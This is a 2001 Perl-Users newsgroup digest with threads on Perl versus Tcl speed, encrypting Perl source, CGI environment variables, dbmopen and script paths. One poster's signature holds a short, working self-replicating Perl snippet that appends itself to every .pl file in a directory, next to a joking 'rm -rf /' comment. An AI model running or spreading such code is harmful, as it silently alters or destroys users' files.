[18599] in Perl-Users-Digest
Perl-Users Digest, Issue: 767 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 25 18:20:50 2001
Date: Wed, 25 Apr 2001 15:20:22 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988237221-v10-i767@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 25 Apr 2001 Volume: 10 Number: 767
Today's topics:
Tcl is faster then perl. <coopvs14@americasm01.nt.com>
Re: Tcl is faster then perl. (Anno Siegel)
Re: Tcl is faster then perl. <keesh@users.pleaseremovethisbit.sourceforge.net>
Re: Tcl is faster then perl. <coopvs14@americasm01.nt.com>
Re: Tcl is faster then perl. (John Joseph Trammell)
Re: Tcl is faster then perl. <coopvs14@americasm01.nt.com>
Re: Tcl is faster then perl. (Gwyn Judd)
Re: Tcl is faster then perl. (Anno Siegel)
Re: Tcl is faster then perl. <coopvs14@americasm01.nt.com>
Re: total newbie (Abigail)
Re: use Filter::decrypt; How to encrypt source code fi <goldbb2@earthlink.net>
Re: user info <Jonathan.L.Ericson@jpl.nasa.gov>
Want to use undef in dbmopen <ysathaye@vignette.com>
Re: Where is my script (Rudolf Polzer)
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 25 Apr 2001 15:49:27 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Tcl is faster then perl.
Message-Id: <3AE72A47.13C96DBF@americasm01.nt.com>
Everyone was ignoring my question when I said perl was faster then Tcl
so I switched it around. Perl is in fact faster then Tcl according to
several benchmark tests I'v found but I don't have a clue why since the
newer versions of Tcl have been improved.
quesition.
I've
read a lot of things about what slow Tcl down.
Versions prior to 8.0 did not have a byte-code
compiler or the capability of storing binary but the
new Tcl does. I do not know of any other reasons that
could lead to such a huge cpu time gap.
Does the fact that Tcl can store binary strings mean
that numbers are now stored in binary. Are
expressions involving the addition of numbers faster?
------------------------------
Date: 25 Apr 2001 19:55:57 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Tcl is faster then perl.
Message-Id: <9c7a4d$dfi$2@mamenchi.zrz.TU-Berlin.DE>
According to Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com>:
> Everyone was ignoring my question when I said perl was faster then Tcl
> so I switched it around. Perl is in fact faster then Tcl according to
What do you hope to achieve with that maneuver? Perhaps nobody here
has the expertise in both Perl and Tcl to answer your questions? Or
nobody cares?
I resent the notion that this group is a bunch of Perl partisans who
only need a challenge to jump to the defense of their pet language.
[snip]
Anno
------------------------------
Date: Wed, 25 Apr 2001 21:16:39 +0100
From: "Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net>
Subject: Re: Tcl is faster then perl.
Message-Id: <9c7b8c$lb1$1@newsg4.svr.pol.co.uk>
In article <3AE72A47.13C96DBF@americasm01.nt.com>, "Wenzel, Joel
[CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com> wrote:
> Everyone was ignoring my question when I said perl was faster then Tcl
> so I switched it around. Perl is in fact faster then Tcl according to
> several benchmark tests I'v found but I don't have a clue why since the
> newer versions of Tcl have been improved. quesition.
And hand-coded assembly is faster than Tcl. What's your point?
--
Ciaran McCreesh
mail: keesh@users.sourceforge.net
web: http://www.opensourcepan.com/
------------------------------
Date: Wed, 25 Apr 2001 16:26:11 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Re: Tcl is faster then perl.
Message-Id: <3AE732E3.C724E3FF@americasm01.nt.com>
That may be true...and it may not. We will just have to wait and see I
guess. Worth a try to say the least.
Anno Siegel wrote:
> According to Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com>:
>
> > Everyone was ignoring my question when I said perl was faster then Tcl
> > so I switched it around. Perl is in fact faster then Tcl according to
>
> What do you hope to achieve with that maneuver? Perhaps nobody here
> has the expertise in both Perl and Tcl to answer your questions? Or
> nobody cares?
>
> I resent the notion that this group is a bunch of Perl partisans who
> only need a challenge to jump to the defense of their pet language.
>
> [snip]
>
> Anno
------------------------------
Date: Wed, 25 Apr 2001 20:41:14 GMT
From: trammell@bayazid.hypersloth.invalid (John Joseph Trammell)
Subject: Re: Tcl is faster then perl.
Message-Id: <slrn9eebcq.m40.trammell@bayazid.hypersloth.net>
On Wed, 25 Apr 2001, Wenzel, Joel <coopvs14@americasm01.nt.com> wrote:
> Does the fact that Tcl can store binary strings mean
> that numbers are now stored in binary. Are
> expressions involving the addition of numbers faster?
Funny you should ask, because I just stumbled across a great paper
that talks about exactly this question. I think it was at:
http://www.x5&_;\+++NO CARRIER
------------------------------
Date: Wed, 25 Apr 2001 16:50:55 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Re: Tcl is faster then perl.
Message-Id: <3AE738AF.BB8B3E35@americasm01.nt.com>
I am doing a paper that examines speed issues between perl and Tcl. I need
to reasons why
Tcl today is slower then perl. A few years ago, Tcl was not compilied and
it did not
have binary support. Perl had both. Today, however, Tcl has these features
and is
still much slower then perl in many areas. I need to know why Tcl is slower
Ciaran McCreesh wrote:
> In article <3AE72A47.13C96DBF@americasm01.nt.com>, "Wenzel, Joel
> [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com> wrote:
> > Everyone was ignoring my question when I said perl was faster then Tcl
> > so I switched it around. Perl is in fact faster then Tcl according to
> > several benchmark tests I'v found but I don't have a clue why since the
> > newer versions of Tcl have been improved. quesition.
>
> And hand-coded assembly is faster than Tcl. What's your point?
>
> --
> Ciaran McCreesh
> mail: keesh@users.sourceforge.net
> web: http://www.opensourcepan.com/
------------------------------
Date: Wed, 25 Apr 2001 21:21:14 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: Tcl is faster then perl.
Message-Id: <slrn9eefu9.ud.tjla@thislove.dyndns.org>
In article <3AE72A47.13C96DBF@americasm01.nt.com>,
Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com> wrote:
>Everyone was ignoring my question when I said perl was faster then Tcl
>so I switched it around. Perl is in fact faster then Tcl according to
I'm not sure what you are trying to do here. This group is actually
concerned with Perl, not Tcl. If you have a Perl question then ask that.
If you have a question about why Tcl is slow, ask it in a group about
Tcl. If you are just trolling (as seems to be the case) then you should
really be crossposting this to comp.lang.tcl and
alt.binaries.multimedia.aviation as well for maximum effect.
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
"If you are beginning to doubt what I am saying, you are
probably hallucinating."
-- The Firesign Theatre, _Everything you know is Wrong_
------------------------------
Date: 25 Apr 2001 21:28:08 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Tcl is faster then perl.
Message-Id: <9c7fh8$j5t$3@mamenchi.zrz.TU-Berlin.DE>
According to Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com>:
> That may be true...and it may not. We will just have to wait and see I
> guess. Worth a try to say the least.
A top poster to boot. Congratulations.
Anno
------------------------------
Date: Wed, 25 Apr 2001 18:01:18 -0400
From: "Wenzel, Joel [CAR:VS11:EXCH]" <coopvs14@americasm01.nt.com>
Subject: Re: Tcl is faster then perl.
Message-Id: <3AE7492D.3D7DEC91@americasm01.nt.com>
I meant to ask why perl is fast...not why Tcl is slow. Sorry for the
misconception
Gwyn Judd wrote:
> In article <3AE72A47.13C96DBF@americasm01.nt.com>,
> Wenzel, Joel [CAR:VS11:EXCH] <coopvs14@americasm01.nt.com> wrote:
> >Everyone was ignoring my question when I said perl was faster then Tcl
> >so I switched it around. Perl is in fact faster then Tcl according to
>
> I'm not sure what you are trying to do here. This group is actually
> concerned with Perl, not Tcl. If you have a Perl question then ask that.
> If you have a question about why Tcl is slow, ask it in a group about
> Tcl. If you are just trolling (as seems to be the case) then you should
> really be crossposting this to comp.lang.tcl and
> alt.binaries.multimedia.aviation as well for maximum effect.
>
> --
> Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
> "If you are beginning to doubt what I am saying, you are
> probably hallucinating."
> -- The Firesign Theatre, _Everything you know is Wrong_
------------------------------
Date: Wed, 25 Apr 2001 20:47:29 +0000 (UTC)
From: abigail@foad.org (Abigail)
Subject: Re: total newbie
Message-Id: <slrn9eedv1.5et.abigail@tsathoggua.rlyeh.net>
Greg Bacon (gbacon@HiWAAY.net) wrote on MMDCCXCIV September MCMXCIII in
<URL:news:tedofrsqe3red3@corp.supernews.com>:
)) In article <3ae63cf6.5374905@news-server>,
)) Gil G. <gil@nospam-keskydee.com> wrote:
))
)) : There is no compiler, but an interpreter...
))
)) Gee, then what's that perly.y business in the perl source?
That's part of a parser. I hope you aren't suggesting that
interpreters don't parse.
Abigail
--
map{${+chr}=chr}map{$_=>$_^ord$"}$=+$]..3*$=/2;
print "$J$u$s$t $a$n$o$t$h$e$r $P$e$r$l $H$a$c$k$e$r\n";
------------------------------
Date: Wed, 25 Apr 2001 21:22:53 GMT
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: use Filter::decrypt; How to encrypt source code first?
Message-Id: <3AE74134.A80350EB@earthlink.net>
John Lin wrote:
>
> "Anno Siegel" wrote
> > You are supposed do download the whole thing, XS source and all,
> > study it, and write your own.
>
> Thank you. What I tried to say in the previous post was: "The Win32
> version is just partial, so I was mislead, I was unable to figure out
> what happened. Now I download the Unix version which is complete, so
> I can study and know it better.
>
> > Be aware that there's more to it to make it even a bit secure.
>
> OK, I'll follow up the document and the FAQ. Thank you.
>
> John Lin
>
> Hey, as long as you write your own module to decrypt the source,
> the crackers can study your .pm file to write a decryptor easily.
> Even if your own module is XS and compiled, they can still easily just
> use YourDecryptor;
> to write a decryptor program (even without knowing your algorithm).
> Am I right?
Not quite. One way you can make it reasonably secure is, the decryptor
module should first get a passphrase from the user (preferably in noecho
mode!) and use this as a decryption key, to use with a secure cipher.
Of course, this doesn't prevent people who know the passphrase from
using it to get the source, but it does mean that they may need to
decompile the .dll which contains the guts of the decryptor module to
know how to do this. So to steal your source, they need to look at the
decryptor to know that it's encrypted with (eg) AES in IAPM mode, and
then they have to learn the passphrase. Once they have that, *then*
they can decrypt, but not before then.
--
Sometimes the journey *is* its own reward--but not when you're trying to
get to the bathroom in time.
------------------------------
Date: 25 Apr 2001 19:06:18 +0000
From: Jon Ericson <Jonathan.L.Ericson@jpl.nasa.gov>
Subject: Re: user info
Message-Id: <86bspkdck5.fsf@jon_ericson.jpl.nasa.gov>
"Koit Tomingas" <Koit Tomingas@mail.ee> writes:
> How can I get some information about web page user ?
>
> print $ENV{'USERNAME'}; and
> print $ENV{'USERDOMAIN'};
> work fine, when I run the script from command prompt,
> but give me nothing when I access the script over Web server.
Have you read the FAQ and forums for CGI? You will find that this is
not a perl-specific question. (As a hint, your environment will be
set differently when run from the command line than when under a web
server. Also, I don't think what you are trying to do is possible --
at least not without some sort of authentication system.)
Jon
------------------------------
Date: Wed, 25 Apr 2001 17:18:55 -0400
From: "Yash Sathaye" <ysathaye@vignette.com>
Subject: Want to use undef in dbmopen
Message-Id: <9c7em3$45q$1@news.jump.net>
Hi:
I am using dbmopen and since I want to PERL to just access a database and
not create it, if it does not exist, I am using undef. It looks some thing
like:
dbmopen( %OPTS, 'Options', undef) || die "Can not open Options :$!";
I am also using strict module. The only problem is that when I run the
script I get the following warnings:
Use of uninitialized value at script.pl line 100.
Is there a way to use undef in the dbmopen and not get this error while
using strict module?
Please help,
Thanks
Yash
------------------------------
Date: Wed, 25 Apr 2001 21:55:59 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Where is my script
Message-Id: <slrn9eeauf.22e.eins@www42.t-offline.de>
Craig Berry <cberry@cinenet.net> wrote:
> Einhardschule Seligenstadt (webmaster@einhardschule.de) wrote:
> : Will you find a path to the script in $0?
>
> /m/hermosa/usr3/home/cberry > cat foo
> #!/usr/bin/perl -w
>
> print "$0\n";
> /m/hermosa/usr3/home/cberry > foo
> foo
>
> Nope.
Not when using the path. BTW: in your example the answer is 'yes': you
have the (relative) path to the script in $0. I wanted to know what
happens when using IIS.
BTW: is it possible to get the filename from a handle? Then one could
perhaps examine __DATA__.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 767
**************************************
